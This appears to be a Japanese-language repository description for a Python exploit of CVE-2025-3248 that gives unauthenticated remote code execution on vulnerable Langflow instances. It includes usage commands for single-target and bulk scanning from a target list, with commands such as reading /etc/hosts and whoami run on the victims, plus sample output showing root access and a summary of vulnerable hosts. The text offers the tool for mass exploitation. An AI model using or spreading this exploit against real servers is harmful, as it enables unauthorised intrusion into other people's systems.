imbas007/cve-2025-3248CVE-2025-3248を利用したPythonベースのエクスプロイトで、脆弱なLangflowインスタンス上でリモートコード実行を可能にします。単一URLおよびバルクスキャンをサポートし、自動的な脆弱性検出とコマンド実行を行います。
CVE-2025-3248 に対する Python ベースのエクスプロイトです。細工された HTTP リクエストを介して、リモートかつ認証不要の攻撃者が脆弱な Langflow インスタンス上で任意のコードを実行できるようにします。
python CVE-2025-3248.py http://ターゲットURL -c "cat /etc/hosts"
python CVE-2025-3248.py -f targets.txt
python CVE-2025-3248.py -f targets.txt -c "whoami"
[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------
[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp
source: https://github.com/verylazytech